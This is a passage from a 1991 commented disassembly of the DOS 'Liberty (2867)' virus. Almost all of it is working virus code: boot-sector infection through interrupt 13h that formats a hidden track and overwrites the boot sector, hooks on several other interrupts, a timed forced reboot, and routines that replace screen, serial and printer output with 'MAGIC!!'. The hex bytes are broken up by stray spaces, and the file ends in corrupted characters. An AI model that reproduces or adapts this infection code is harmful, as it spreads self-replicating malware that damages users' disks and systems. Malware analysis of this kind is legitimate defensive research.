CS: 0 6 D3 B93F28 MOV CX , 283 F
CS: 0 6 D6 33 D2 XOR DX , DX
CS: 0 6 D8 CD13 INT 13
CS: 0 6 DA C3 RET
CS: 0 6 DB 33 C0 XOR AX , AX
CS: 0 6 DD 8 ED8 MOV DS , AX
CS: 0 6 DF A14C00 MOV AX ,[ 004 C ]
CS: 0 6 E2 2 E CS :
CS: 0 6 E3 A31608 MOV [ 0816 ], AX
CS: 0 6 E6 A14E00 MOV AX ,[ 004 E ]
CS: 0 6 E9 2 E CS :
CS: 0 6 EA A31808 MOV [ 0818 ], AX
CS: 0 6 ED FA CL I
CS: 0 6 EE B8FB07 MOV AX , 07 FB
CS: 0 6 F1 A34C00 MOV [ 004 C ], AX
CS: 0 6 F4 8 C0E4E00 MOV [ 004 E ], CS
CS: 0 6 F8 C3 RET
;
; Boot sectors are infected via vector 13h
;
CS: 0 6 F9 9 C PUSHF
CS: 0 6 FA 80 FC01 CMP AH , 01
CS: 0 6 FD 7 E13 JLE 0712
CS: 0 6 FF 80 FC04 CMP AH , 04
CS: 0 7 0 2 7 D0E JGE 0712
CS: 0 7 0 4 8 0 FA80 CMP DL , 80
CS: 0 7 0 7 7 2 0 F JB 0718
CS: 0 7 0 9 E8BE00 CALL 07 CA ; Disconnect vector 13h
CS: 0 7 0 C 07 POP ES
CS: 0 7 0 D 1 F POP DS
CS: 0 7 0 E 5 A POP DX
CS: 0 7 0 F 59 POP CX
CS: 0 7 1 0 5 B POP BX
CS: 0 7 1 1 5 8 POP AX
CS: 0 7 1 2 9 D POPF
CS: 0 7 1 3 EA00000000 JMP 0000 : 0000
CS: 0 7 1 8 5 0 PUSH AX
CS: 0 7 1 9 5 3 PUSH BX
CS: 0 7 1 A 51 PUSH CX
CS: 0 7 1 B 52 PUSH DX
CS: 0 7 1 C 1 E PUSH DS
CS: 0 7 1 D 06 PUSH ES
CS: 0 7 1 E B80102 MOV AX , 0201 ;
CS: 0 7 2 1 0 E PUSH CS ;
CS: 0 7 2 2 0 7 POP ES ;
CS: 0 7 2 3 0 E PUSH CS ;
CS: 0 7 2 4 1 F POP DS ;
CS: 0 7 2 5 BB420C MOV BX , 0 C42 ;
CS: 0 7 2 8 B90100 MOV CX , 0001 ;
CS: 0 7 2 B 32 F6 XOR DH , DH ;
CS: 0 7 2 D 9 C PUSHF ;
CS: 0 7 2 E 2 E CS : ;
CS: 0 7 2 F FF1E1407 CALL FAR [ 0714 ] ; Read Bootsector
CS: 0 7 3 3 7 2 D4 JB 0709
CS: 0 7 3 5 0 E PUSH CS
CS: 0 7 3 6 1 F POP DS
CS: 0 7 3 7 0 E PUSH CS
CS: 0 7 3 8 0 7 POP ES
CS: 0 7 3 9 BE420C MOV SI , 0 C42 ;
CS: 0 7 3 C BF3506 MOV DI , 0635 ;
CS: 0 7 3 F B90A00 MOV CX , 000 A ;
CS: 0 7 4 2 FC CL D ;
CS: 0 7 4 3 F3 REPZ ;
CS: 0 7 4 4 A7 CMPSW ; Check infection
CS: 0 7 4 5 7 4 C2 JZ 0709
CS: 0 7 4 7 BE420C MOV SI , 0 C42
CS: 0 7 4 A 807 C02FF CMP BYTE PTR [ SI + 02 ], FF ; Was infected ?
CS: 0 7 4 E 744 A JZ 079 A
CS: 0 7 5 0 B0FF MOV AL , FF
CS: 0 7 5 2 8 8 4 4 0 2 MOV [ SI + 02 ], AL
CS: 0 7 5 5 B80905 MOV AX , 0509 ;
CS: 0 7 5 8 BBA607 MOV BX , 07 A6 ;
CS: 0 7 5 B B93128 MOV CX , 2831 ;
CS: 0 7 5 E 9 C PUSHF ;
CS: 0 7 5 F 2 E CS : ;
CS: 0 7 6 0 FF1E1407 CALL FAR [ 0714 ] ; Format track 40
CS: 0 7 6 4 7 2 A3 JB 0709
CS: 0 7 6 6 B80103 MOV AX , 0301 ;
CS: 0 7 6 9 BB420C MOV BX , 0 C42 ;
CS: 0 7 6 C B93F28 MOV CX , 283 F ;
CS: 0 7 6 F 9 C PUSHF ;
CS: 0 7 7 0 2 E CS : ;
CS: 0 7 7 1 FF1E1407 CALL FAR [ 0714 ] ; Write original bootsector
CS: 0 7 7 5 7 2 9 2 JB 0709
CS: 0 7 7 7 B80103 MOV AX , 0301 ;
CS: 0 7 7 A BB3506 MOV BX , 0635 ;
CS: 0 7 7 D B90100 MOV CX , 0001 ;
CS: 0 7 8 0 9 C PUSHF ;
CS: 0 7 8 1 2 E CS : ;
CS: 0 7 8 2 FF1E1407 CALL FAR [ 0714 ] ; Write Libery bootsector
CS: 0 7 8 6 7 2 8 1 JB 0709
CS: 0 7 8 8 B80803 MOV AX , 0308 ;
CS: 0 7 8 B BB1001 MOV BX , 0110 ;
CS: 0 7 8 E B93128 MOV CX , 2831 ;
CS: 0 7 9 1 9 C PUSHF ;
CS: 0 7 9 2 2 E CS : ;
CS: 0 7 9 3 FF1E1407 CALL FAR [ 0714 ] ; Write Liberty virus
CS: 0 7 9 7 E96FFF JMP 0709
CS: 0 7 9 A 2 E CS : ;
CS: 0 7 9 B C606100300 MOV BYTE PTR [ 0310 ], 00 ;
CS: 0 7 A0 E83B00 CALL 07 DE ; Attach ???
CS: 0 7 A3 E963FF JMP 0709
;
; The format table is next
;
DS: 0 7 A0 28 00 - 31 02 28 00 32 02 28 00
DS: 0 7 B0 33 02 28 00 34 02 28 00 - 35 02 28 00 36 02 28 00
DS: 0 7 C0 37 02 28 00 38 02 28 00 - 3 F 02
;
; Revectoring
;
CS: 0 7 CA 33 C0 XOR AX , AX
CS: 0 7 CC 8 ED8 MOV DS , AX
CS: 0 7 CE FA CL I
CS: 0 7 CF 2 E CS :
CS: 0 7 D0 A11407 MOV AX ,[ 0714 ]
CS: 0 7 D3 A34C00 MOV [ 004 C ], AX
CS: 0 7 D6 2 E CS :
CS: 0 7 D7 A11607 MOV AX ,[ 0716 ]
CS: 0 7 DA A34E00 MOV [ 004 E ], AX
CS: 0 7 DD C3 RET
CS: 0 7 DE 2 E CS :
CS: 0 7 DF A11407 MOV AX ,[ 0714 ]
CS: 0 7 E2 2 E CS :
CS: 0 7 E3 A30C03 MOV [ 030 C ], AX
CS: 0 7 E6 2 E CS :
CS: 0 7 E7 A11607 MOV AX ,[ 0716 ]
CS: 0 7 EA 2 E CS :
CS: 0 7 EB A30E03 MOV [ 030 E ], AX
CS: 0 7 EE B8F702 MOV AX , 02 F7
CS: 0 7 F1 2 E CS :
CS: 0 7 F2 A31407 MOV [ 0714 ], AX
CS: 0 7 F5 2 E CS :
CS: 0 7 F6 8 C0E1607 MOV [ 0716 ], CS
CS: 0 7 FA C3 RET
;
; Boot sectors are infected via vector 13h
;
CS: 0 7 FB 9 C PUSHF
CS: 0 7 FC 80 FC03 CMP AH , 03
CS: 0 7 FF 7213 JB 0814
CS: 0 8 0 1 8 0 FC05 CMP AH , 05
CS: 0 8 0 4 7 3 0 E JNB 0814
CS: 0 8 0 6 8 0 FA80 CMP DL , 80
CS: 0 8 0 9 7 2 0 F JB 081 A
CS: 0 8 0 B EB07 JMP 0814
CS: 0 8 0 D 90 NOP
CS: 0 8 0 E 07 POP ES
CS: 0 8 0 F 1 F POP DS
CS: 0 8 1 0 5 A POP DX
CS: 0 8 1 1 5 9 POP CX
CS: 0 8 1 2 5 B POP BX
CS: 0 8 1 3 5 8 POP AX
CS: 0 8 1 4 9 D POPF
CS: 0 8 1 5 EA00000000 JMP 0000 : 0000
CS: 0 8 1 A 50 PUSH AX
CS: 0 8 1 B 53 PUSH BX
CS: 0 8 1 C 51 PUSH CX
CS: 0 8 1 D 52 PUSH DX
CS: 0 8 1 E 1 E PUSH DS
CS: 0 8 1 F 06 PUSH ES
CS: 0 8 2 0 2 E CS :
CS: 0 8 2 1 8 0 3 E0C0401 CMP BYTE PTR [ 040 C ], 01
CS: 0 8 2 6 7 4 E6 JZ 080 E
CS: 0 8 2 8 B80102 MOV AX , 0201 ;
CS: 0 8 2 B 0 E PUSH CS ;
CS: 0 8 2 C 07 POP ES ;
CS: 0 8 2 D 0 E PUSH CS ;
CS: 0 8 2 E 1 F POP DS ;
CS: 0 8 2 F BB420C MOV BX , 0 C42 ;
CS: 0 8 3 2 B90100 MOV CX , 0001 ;
CS: 0 8 3 5 3 2 F6 XOR DH , DH ;
CS: 0 8 3 7 9 C PUSHF ;
CS: 0 8 3 8 2 E CS : ;
CS: 0 8 3 9 FF1E1608 CALL FAR [ 0816 ] ; Read bootsector
CS: 0 8 3 D 72 CF JB 080 E
CS: 0 8 3 F 0 E PUSH CS
CS: 0 8 4 0 1 F POP DS
CS: 0 8 4 1 0 E PUSH CS
CS: 0 8 4 2 0 7 POP ES
CS: 0 8 4 3 BE420C MOV SI , 0 C42 ;
CS: 0 8 4 6 BF3506 MOV DI , 0635 ;
CS: 0 8 4 9 B90A00 MOV CX , 000 A ;
CS: 0 8 4 C FC CL D ;
CS: 0 8 4 D F3 REPZ ;
CS: 0 8 4 E A7 CMPSW ; Check infection
CS: 0 8 4 F 74 BD JZ 080 E
CS: 0 8 5 1 B0FF MOV AL , FF
CS: 0 8 5 3 8 8 4 7 0 2 MOV [ BX + 02 ], AL
CS: 0 8 5 6 B80905 MOV AX , 0509 ;
CS: 0 8 5 9 BBA607 MOV BX , 07 A6 ;
CS: 0 8 5 C B93128 MOV CX , 2831 ;
CS: 0 8 5 F 9 C PUSHF ;
CS: 0 8 6 0 2 E CS : ;
CS: 0 8 6 1 FF1E1608 CALL FAR [ 0816 ] ; Format track 28
CS: 0 8 6 5 7 2 A7 JB 080 E
CS: 0 8 6 7 B80103 MOV AX , 0301 ;
CS: 0 8 6 A BB420C MOV BX , 0 C42 ;
CS: 0 8 6 D B93F28 MOV CX , 283 F ;
CS: 0 8 7 0 9 C PUSHF ;
CS: 0 8 7 1 2 E CS : ;
CS: 0 8 7 2 FF1E1608 CALL FAR [ 0816 ] ; Write original bootsector
CS: 0 8 7 6 7 2 9 6 JB 080 E
CS: 0 8 7 8 B80103 MOV AX , 0301 ;
CS: 0 8 7 B BB3506 MOV BX , 0635 ;
CS: 0 8 7 E B90100 MOV CX , 0001 ;
CS: 0 8 8 1 9 C PUSHF ;
CS: 0 8 8 2 2 E CS : ;
CS: 0 8 8 3 FF1E1608 CALL FAR [ 0816 ] ; Write Liberty bootsector
CS: 0 8 8 7 7 2 8 5 JB 080 E
CS: 0 8 8 9 B80803 MOV AX , 0308 ;
CS: 0 8 8 C BB1001 MOV BX , 0110 ;
CS: 0 8 8 F B93128 MOV CX , 2831 ;
CS: 0 8 9 2 9 C PUSHF ;
CS: 0 8 9 3 2 E CS : ;
CS: 0 8 9 4 FF1E1608 CALL FAR [ 0816 ] ; Write Liberty bootsector
CS: 0 8 9 8 E973FF JMP 080 E
CS: 0 8 9 B 9 C PUSHF
CS: 0 8 9 C 50 PUSH AX
CS: 0 8 9 D 1 E PUSH DS
CS: 0 8 9 E 33 C0 XOR AX , AX
CS: 0 8 A0 8 ED8 MOV DS , AX
CS: 0 8 A2 833 E860000 CMP WORD PTR [ 0086 ], + 00 ;
CS: 0 8 A7 750 F JNZ 08 B8 ; Check if DOS is installed
CS: 0 8 A9 833 E840000 CMP WORD PTR [ 0084 ], + 00 ;
CS: 0 8 AE 7508 JNZ 08 B8
CS: 0 8 B0 1 F POP DS
CS: 0 8 B1 58 POP AX
CS: 0 8 B2 9 D POPF
CS: 0 8 B3 EA00000000 JMP 0000 : 0000
CS: 0 8 B8 06 PUSH ES
CS: 0 8 B9 0 E PUSH CS
CS: 0 8 BA 07 POP ES
CS: 0 8 BB E8C3F9 CALL 0281 ; Get vector 21h
CS: 0 8 BE E8F1F9 CALL 02 B2 ; Set vector 21h
CS: 0 8 C1 E82000 CALL 08 E4 ; Disconnect vector 8h
CS: 0 8 C4 E8FBF9 CALL 02 C2 ; Set installation flag
CS: 0 8 C7 07 POP ES
CS: 0 8 C8 EBE6 JMP 08 B0
;
; Revectoring
;
CS: 0 8 CA A12000 MOV AX ,[ 0020 ]
CS: 0 8 CD 2 E CS :
CS: 0 8 CE A3B408 MOV [ 08 B4 ], AX
CS: 0 8 D1 A12200 MOV AX ,[ 0022 ]
CS: 0 8 D4 2 E CS :
CS: 0 8 D5 A3B608 MOV [ 08 B6 ], AX
CS: 0 8 D8 B89B08 MOV AX , 089 B
CS: 0 8 DB FA CL I
CS: 0 8 DC A32000 MOV [ 0020 ], AX
CS: 0 8 DF 8 C0E2200 MOV [ 0022 ], CS
CS: 0 8 E3 C3 RET
CS: 0 8 E4 33 C0 XOR AX , AX
CS: 0 8 E6 8 ED8 MOV DS , AX
CS: 0 8 E8 FA CL I
CS: 0 8 E9 2 E CS :
CS: 0 8 EA A1B408 MOV AX ,[ 08 B4 ]
CS: 0 8 ED A32000 MOV [ 0020 ], AX
CS: 0 8 F0 2 E CS :
CS: 0 8 F1 A1B608 MOV AX ,[ 08 B6 ]
CS: 0 8 F4 A32200 MOV [ 0022 ], AX
CS: 0 8 F7 C3 RET
CS: 0 8 F8 A17000 MOV AX ,[ 0070 ]
CS: 0 8 FB 2 E CS :
CS: 0 8 FC A3900A MOV [ 0 A90 ], AX
CS: 0 8 FF A17200 MOV AX ,[ 0072 ]
CS: 0 9 0 2 2 E CS :
CS: 0 9 0 3 A3920A MOV [ 0 A92 ], AX
CS: 0 9 0 6 B8580A MOV AX , 0 A58
CS: 0 9 0 9 FA CL I
CS: 0 9 0 A A37000 MOV [ 0070 ], AX
CS: 0 9 0 D 8 C0E7200 MOV [ 0072 ], CS
CS: 0 9 1 1 C3 RET
;
; The next routine displays 'M A G I C ! !' on the screen for a second
;
CS: 0 9 1 2 5 0 PUSH AX
CS: 0 9 1 3 5 3 PUSH BX
CS: 0 9 1 4 5 1 PUSH CX
CS: 0 9 1 5 5 2 PUSH DX
CS: 0 9 1 6 5 6 PUSH SI
CS: 0 9 1 7 5 7 PUSH DI
CS: 0 9 1 8 1 E PUSH DS
CS: 0 9 1 9 0 6 PUSH ES
CS: 0 9 1 A 9 C PUSHF
CS: 0 9 1 B BB00B8 MOV BX , B800 ;
CS: 0 9 1 E 8 EDB MOV DS , BX ;
CS: 0 9 2 0 0 E PUSH CS ;
CS: 0 9 2 1 0 7 POP ES ;
CS: 0 9 2 2 3 3 F6 XOR SI , SI ;
CS: 0 9 2 4 BF6809 MOV DI , 0968 ;
CS: 0 9 2 7 B9A000 MOV CX , 00 A0 ;
CS: 0 9 2 A F3 REPZ ;
CS: 0 9 2 B A4 MOVSB ; Save screen
CS: 0 9 2 C BB00B8 MOV BX , B800 ;
CS: 0 9 2 F 8 EC3 MOV ES , BX ;
CS: 0 9 3 1 0 E PUSH CS ;
CS: 0 9 3 2 1 F POP DS ;
CS: 0 9 3 3 3 3 FF XOR DI , DI ;
CS: 0 9 3 5 BB080A MOV BX , 0 A08 ;
CS: 0 9 3 8 B95000 MOV CX , 0050 ;
CS: 0 9 3 B B6CE MOV DH , CE ;
CS: 0 9 3 D 8 A17 MOV DL ,[ BX ] ;
CS: 0 9 3 F 80 EA03 SUB DL , 03 ;
CS: 0 9 4 2 2 6 ES: ;
CS: 0 9 4 3 8 9 1 5 MOV [ DI ], DX ;
CS: 0 9 4 5 4 7 INC DI ;
CS: 0 9 4 6 4 7 INC DI ;
CS: 0 9 4 7 4 3 INC BX ;
CS: 0 9 4 8 E2F3 LOOP 093 D ; Put text on screen
CS: 0 9 4 A E2FE LOOP 094 A ; Wait
CS: 0 9 4 C BB00B8 MOV BX , B800 ;
CS: 0 9 4 F 8 EC3 MOV ES , BX ;
CS: 0 9 5 1 0 E PUSH CS ;
CS: 0 9 5 2 1 F POP DS ;
CS: 0 9 5 3 3 3 FF XOR DI , DI ;
CS: 0 9 5 5 BE6809 MOV SI , 0968 ;
CS: 0 9 5 8 B9A000 MOV CX , 00 A0 ;
CS: 0 9 5 B F3 REPZ ;
CS: 0 9 5 C A4 MOVSB ; Restore screen
CS: 0 9 5 D 9 D POPF
CS: 0 9 5 E 07 POP ES
CS: 0 9 5 F 1 F POP DS
CS: 0 9 6 0 5 F POP DI
CS: 0 9 6 1 5 E POP SI
CS: 0 9 6 2 5 A POP DX
CS: 0 9 6 3 5 9 POP CX
CS: 0 9 6 4 5 B POP BX
CS: 0 9 6 5 5 8 POP AX
CS: 0 9 6 6 C3 RET
;
; A temporary screen buffer
;
DS: 0 9 6 0 4 D 41 47 49 43 4 D 41 47
DS: 0 9 7 0 4 9 4 3 4 D 41 47 49 43 4 D - 41 47 49 43 4 D 41 47 49
DS: 0 9 8 0 4 3 4 D 41 47 49 43 4 D 41 - 47 49 43 4 D 41 47 49 43
DS: 0 9 9 0 4 D 41 47 49 43 4 D 41 47 - 49 43 4 D 41 47 49 43 4 D
DS: 0 9 A0 41 47 49 43 4 D 41 47 49 - 43 4 D 41 47 49 43 4 D 41
DS: 0 9 B0 47 49 43 4 D 41 47 49 43 - 4 D 41 47 49 43 4 D 41 47
DS: 0 9 C0 49 43 4 D 41 47 49 43 4 D - 41 47 49 43 4 D 41 47 49
DS: 0 9 D0 43 4 D 41 47 49 43 4 D 41 - 47 49 43 4 D 41 47 49 43
DS: 0 9 E0 4 D 41 47 49 43 4 D 41 47 - 49 43 4 D 41 47 49 43 4 D
DS: 0 9 F0 41 47 49 43 4 D 41 47 49 - 43 4 D 41 47 49 43 4 D 41
DS: 0 A00 47 49 43 4 D 41 47 49 43
;
; The encrypted text 'M A G I C ! !'
;
DS: 0 A00 23 23 23 23 23 23 23 23
DS: 0 A10 23 23 23 23 23 23 23 23 - 23 23 23 23 23 23 23 23
DS: 0 A20 23 23 23 23 23 23 23 23 - 23 23 23 23 23 23 23 23
DS: 0 A30 23 23 23 23 23 23 23 23 - 23 23 50 23 44 23 4 A 23
DS: 0 A40 4 C 23 46 23 23 24 23 24 - 23 24 23 23 23 23 23 23
DS: 0 A50 23 23 23 23 23 23 23 23
;
; The next routine is the timer routine. It activates all the gadgets.
;
CS: 0 A58 9 C PUSHF
CS: 0 A59 50 PUSH AX
CS: 0 A5A 1 E PUSH DS
CS: 0 A5B 2 E CS :
CS: 0 A5C FF06940A INC WORD PTR [ 0 A94 ]
CS: 0 A60 2 E CS :
CS: 0 A61 833 E960A0B CMP WORD PTR [ 0 A96 ], + 0B ; Time for a reboot ?
CS: 0 A66 7433 JZ 0 A9B
CS: 0 A68 2 E CS :
CS: 0 A69 A1980A MOV AX ,[ 0 A98 ]
CS: 0 A6C 2 E CS :
CS: 0 A6D 3906940 A CMP [ 0 A94 ], AX ; Time for gadgets on ?
CS: 0 A71 7430 JZ 0 AA3
CS: 0 A73 7217 JB 0 A8C
CS: 0 A75 050002 ADD AX , 0200
CS: 0 A78 2 E CS :
CS: 0 A79 3906940 A CMP [ 0 A94 ], AX ; Time for gadgets off ?
CS: 0 A7D 7446 JZ 0 AC5
CS: 0 A7F 770 B JA 0 A8C
CS: 0 A81 2 E CS :
CS: 0 A82 833 E960A0A CMP WORD PTR [ 0 A96 ], + 0 A ; Time for screen messing ?
CS: 0 A87 7503 JNZ 0 A8C
CS: 0 A89 E886FE CALL 0912 ; Mess up screen
CS: 0 A8C 1 F POP DS
CS: 0 A8D 58 POP AX
CS: 0 A8E 9 D POPF
CS: 0 A8F EA00000000 JMP 0000 : 0000 ; Continue
CS: 0 A9B B8FFFF MOV AX , FFFF
CS: 0 A9E 50 PUSH AX
CS: 0 A9F 33 C0 XOR AX , AX
CS: 0 AA1 50 PUSH AX
CS: 0 AA2 CB RETF
CS: 0 AA3 2 E CS :
CS: 0 AA4 812 E980A5001 SUB WORD PTR [ 0 A98 ], 0150
CS: 0 AAA 33 C0 XOR AX , AX
CS: 0 AAC 8 ED8 MOV DS , AX
CS: 0 AAE 2 E CS :
CS: 0 AAF C606470B00 MOV BYTE PTR [ 0B 47 ], 00
CS: 0 AB4 90 NOP
CS: 0 AB5 2 E CS :
CS: 0 AB6 C606950B00 MOV BYTE PTR [ 0B 95 ], 00
CS: 0 ABB 90 NOP
CS: 0 ABC 2 E CS :
CS: 0 ABD C606080C00 MOV BYTE PTR [ 0 C08 ], 00
CS: 0 AC2 90 NOP
CS: 0 AC3 EBC7 JMP 0 A8C
CS: 0 AC5 2 E CS :
CS: 0 AC6 C606470BFF MOV BYTE PTR [ 0B 47 ], FF
CS: 0 ACB 90 NOP
CS: 0 ACC 2 E CS :
CS: 0 ACD C606950BFF MOV BYTE PTR [ 0B 95 ], FF
CS: 0 AD2 90 NOP
CS: 0 AD3 2 E CS :
CS: 0 AD4 C606080CFF MOV BYTE PTR [ 0 C08 ], FF
CS: 0 AD9 90 NOP
CS: 0 ADA 2 E CS :
CS: 0 ADB C706940A0000 MOV WORD PTR [ 0 A94 ], 0000
CS: 0 AE1 2 E CS :
CS: 0 AE2 FF06960A INC WORD PTR [ 0 A96 ]
CS: 0 AE6 EBA4 JMP 0 A8C
CS: 0 AE8 A14000 MOV AX ,[ 0040 ]
CS: 0 AEB 2 E CS :
CS: 0 AEC A3430B MOV [ 0B 43 ], AX
CS: 0 AEF A14200 MOV AX ,[ 0042 ]
CS: 0 AF2 2 E CS :
CS: 0 AF3 A3450B MOV [ 0B 45 ], AX
CS: 0 AF6 B8360B MOV AX , 0B 36
CS: 0 AF9 FA CL I
CS: 0 AFA A34000 MOV [ 0040 ], AX
CS: 0 AFD 8 C0E4200 MOV [ 0042 ], CS
CS: 0 B01 C3 RET
CS: 0 B02 FA CL I
CS: 0 B03 A15000 MOV AX ,[ 0050 ]
CS: 0 B06 2 E CS :
CS: 0 B07 A3910B MOV [ 0B 91 ], AX
CS: 0 B0A A15200 MOV AX ,[ 0052 ]
CS: 0 B0D 2 E CS :
CS: 0 B0E A3930B MOV [ 0B 93 ], AX
CS: 0 B11 B8840B MOV AX , 0B 84
CS: 0 B14 A35000 MOV [ 0050 ], AX
CS: 0 B17 8 C0E5200 MOV [ 0052 ], CS
CS: 0 B1B C3 RET
CS: 0 B1C FA CL I
CS: 0 B1D A15C00 MOV AX ,[ 005 C ]
CS: 0 B20 2 E CS :
CS: 0 B21 A3040C MOV [ 0 C04 ], AX
CS: 0 B24 A15E00 MOV AX ,[ 005 E ]
CS: 0 B27 2 E CS :
CS: 0 B28 A3060C MOV [ 0 C06 ], AX
CS: 0 B2B B8FC0B MOV AX , 0B FC
CS: 0 B2E A35C00 MOV [ 005 C ], AX
CS: 0 B31 8 C0E5E00 MOV [ 005 E ], CS
CS: 0 B35 C3 RET
;
; Now the gadgets' routines. When activated, only the word MAGIC!! will be
; sent to screen, port, and printer.
;
CS: 0 B36 9 C PUSHF ; Screen
CS: 0 B37 80 FC09 CMP AH , 09
CS: 0 B3A 740 F JZ 0B 4 B
CS: 0 B3C 80 FC0A CMP AH , 0 A
CS: 0 B3F 740 A JZ 0B 4 B
CS: 0 B41 9 D POPF
CS: 0 B42 EA00000000 JMP 0000 : 0000
CS: 0 B4B 2 E CS :
CS: 0 B4C 803 E470BFF CMP BYTE PTR [ 0B 47 ], FF
CS: 0 B51 74 EE JZ 0B 41
CS: 0 B53 53 PUSH BX
CS: 0 B54 56 PUSH SI
CS: 0 B55 50 PUSH AX
CS: 0 B56 33 DB XOR BX , BX
CS: 0 B58 2 E CS :
CS: 0 B59 833 E480B07 CMP WORD PTR [ 0B 48 ], + 07
CS: 0 B5E 7507 JNZ 0B 67
CS: 0 B60 2 E CS :
CS: 0 B61 C706480B0000 MOV WORD PTR [ 0B 48 ], 0000
CS: 0 B67 2 E CS :
CS: 0 B68 8 B1E480B MOV BX ,[ 0B 48 ]
CS: 0 B6C 2 E CS :
CS: 0 B6D 8 B3E480B MOV DI ,[ 0B 48 ]
CS: 0 B71 47 INC DI
CS: 0 B72 2 E CS :
CS: 0 B73 893 E480B MOV [ 0B 48 ], DI
CS: 0 B77 BE3B0C MOV SI , 0 C3B
CS: 0 B7A 58 POP AX
CS: 0 B7B 2 E CS :
CS: 0 B7C 8 A00 MOV AL ,[ BX + SI ]
CS: 0 B7E FEC0 INC AL
CS: 0 B80 5 E POP SI
CS: 0 B81 5 B POP BX
CS: 0 B82 EBBD JMP 0B 41
CS: 0 B84 9 C PUSHF ; Port
CS: 0 B85 80 FC01 CMP AH , 01
CS: 0 B88 740 D JZ 0B 97
CS: 0 B8A 80 FC02 CMP AH , 02
CS: 0 B8D 7436 JZ 0B C5
CS: 0 B8F 9 D POPF
CS: 0 B90 EA00000000 JMP 0000 : 0000
CS: 0 B97 2 E CS :
CS: 0 B98 803 E950BFF CMP BYTE PTR [ 0B 95 ], FF
CS: 0 B9D 74 F0 JZ 0B 8 F
CS: 0 B9F 53 PUSH BX
CS: 0 BA0 56 PUSH SI
CS: 0 BA1 33 DB XOR BX , BX
CS: 0 BA3 2 E CS :
CS: 0 BA4 8 A1E960B MOV BL ,[ 0B 96 ]
CS: 0 BA8 BE3B0C MOV SI , 0 C3B
CS: 0 BAB 2 E CS :
CS: 0 BAC 8 A00 MOV AL ,[ BX + SI ]
CS: 0 BAE 2 E CS :
CS: 0 BAF FE06960B INC BYTE PTR [ 0B 96 ]
CS: 0 BB3 2 E CS :
CS: 0 BB4 803 E960B07 CMP BYTE PTR [ 0B 96 ], 07
CS: 0 BB9 7506 JNZ 0B C1
CS: 0 BBB 2 E CS :
CS: 0 BBC C606960B00 MOV BYTE PTR [ 0B 96 ], 00
CS: 0 BC1 5 E POP SI
CS: 0 BC2 5 B POP BX
CS: 0 BC3 EBCA JMP 0B 8 F
CS: 0 BC5 2 E CS :
CS: 0 BC6 803 E950BFF CMP BYTE PTR [ 0B 95 ], FF
CS: 0 BCB 74 C2 JZ 0B 8 F
CS: 0 BCD 2 E CS :
CS: 0 BCE FF1E910B CALL FAR [ 0B 91 ]
CS: 0 BD2 80 FC00 CMP AH , 00
CS: 0 BD5 7 F24 JG 0B FB
CS: 0 BD7 53 PUSH BX
CS: 0 BD8 56 PUSH SI
CS: 0 BD9 33 DB XOR BX , BX
CS: 0 BDB 2 E CS :
CS: 0 BDC 8 A1E960B MOV BL ,[ 0B 96 ]
CS: 0 BE0 BE3B0C MOV SI , 0 C3B
CS: 0 BE3 2 E CS :
CS: 0 BE4 8 A00 MOV AL ,[ BX + SI ]
CS: 0 BE6 2 E CS :
CS: 0 BE7 FE06960B INC BYTE PTR [ 0B 96 ]
CS: 0 BEB 2 E CS :
CS: 0 BEC 803 E960B07 CMP BYTE PTR [ 0B 96 ], 07
CS: 0 BF1 7506 JNZ 0B F9
CS: 0 BF3 2 E CS :
CS: 0 BF4 C606960B00 MOV BYTE PTR [ 0B 96 ], 00
CS: 0 BF9 5 E POP SI
CS: 0 BFA 5 B POP BX
CS: 0 BFB CF IRET
CS: 0 BFC 9 C PUSHF ; Printer
CS: 0 BFD 80 FC00 CMP AH , 00
CS: 0 C00 7407 JZ 0 C09
CS: 0 C02 9 D POPF
CS: 0 C03 EA00000000 JMP 0000 : 0000
CS: 0 C09 2 E CS :
CS: 0 C0A 803 E080CFF CMP BYTE PTR [ 0 C08 ], FF
CS: 0 C0F 74 F1 JZ 0 C02
CS: 0 C11 53 PUSH BX
CS: 0 C12 56 PUSH SI
CS: 0 C13 33 DB XOR BX , BX
CS: 0 C15 2 E CS :
CS: 0 C16 8 A1E3A0C MOV BL ,[ 0 C3A ]
CS: 0 C1A BE3B0C MOV SI , 0 C3B
CS: 0 C1D 2 E CS :
CS: 0 C1E 8 A00 MOV AL ,[ BX + SI ]
CS: 0 C20 FEC0 INC AL
CS: 0 C22 2 E CS :
CS: 0 C23 FE063A0C INC BYTE PTR [ 0 C3A ]
CS: 0 C27 2 E CS :
CS: 0 C28 803 E3A0C07 CMP BYTE PTR [ 0 C3A ], 07
CS: 0 C2D 7507 JNZ 0 C36
CS: 0 C2F 2 E CS :
CS: 0 C30 C6063A0C00 MOV BYTE PTR [ 0 C3A ], 00
CS: 0 C35 90 NOP
CS: 0 C36 5 E POP SI
CS: 0 C37 5 B POP BX
CS: 0 C38 EBC8 JMP 0 C02
;
; The encrypted text 'MAGIC!!'
;
DS: 0 C3A 4 C 40 46 48 42 20 20
;
; Important note:
; When there is no longer space on the disk to infect a file, the Liberty
; virus will infect the bootsector. This is done in the 'OHIO' way.
;
;
;
; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort.
; This document may be freely shared. If you have any comments or some
; nice little viruses for analysis, feel free to drop me a note.
;
; Remco van Helvoort
; Bredastraat 3
; 5224 VD 's-Hertogenbosch
; Holland
;
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
